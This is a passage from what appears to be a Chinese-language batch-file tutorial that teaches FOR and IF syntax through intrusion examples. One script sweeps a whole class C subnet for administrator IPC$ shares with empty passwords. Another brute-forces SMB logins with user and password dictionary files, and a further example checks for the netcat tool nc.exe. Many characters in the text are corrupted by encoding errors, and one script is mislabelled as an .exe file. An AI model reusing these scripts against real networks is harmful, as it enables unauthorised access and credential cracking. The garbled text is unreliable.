for /L %%G in (1 1 254) do echo %1.%%G >>test.txt net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt 存為test.bat 說明:對指定的一個C類網(wǎng)段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最后一位); 用來隔開echo 和net use 這二個命令;| 指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結(jié)止值。 @echo off echo 用法格式:ok.bat ip FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 存為:ok.exe 說明:輸入一個IP后,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。 2:if命令及變量 基本格式: IF [not] errorlevel 數(shù)字 命令語句 如果程序運行最后返回一個等于或大于指定數(shù)字的退出編碼,指定條件為“真”。 例:IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時,就值行后面的命令;IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1,就執(zhí)行后面的命令。 0 指發(fā)現(xiàn)并成功執(zhí)行(真);1 指沒有發(fā)現(xiàn)、沒執(zhí)行(假)。 IF [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就執(zhí)行后面的命令。 例:“if "%2%"=="4" goto start”指:如果輸入的第二個變量為4時,執(zhí)行后面的命令(注意:調(diào)用變量時就%變量名%并加" ") IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執(zhí)行后面的命令。 例:“if not nc.exe goto end”指:如果沒有發(fā)現(xiàn)nc.exe文件就跳到":end"標簽處。 IF [not] errorlevel 數(shù)字 命令語句 else 命令語句或 IF [not] 字符串1==字符串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句后指:當前面的條件不成立時,就指行else后面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內(nèi)容用 >括起來,因為del命令要單獨一行時才能執(zhí)行,用上 >后就等于是單獨一行了;例如:“if exist test.txt. del test.txt.> else echo test.txt.missing ”,注意命令中的“.”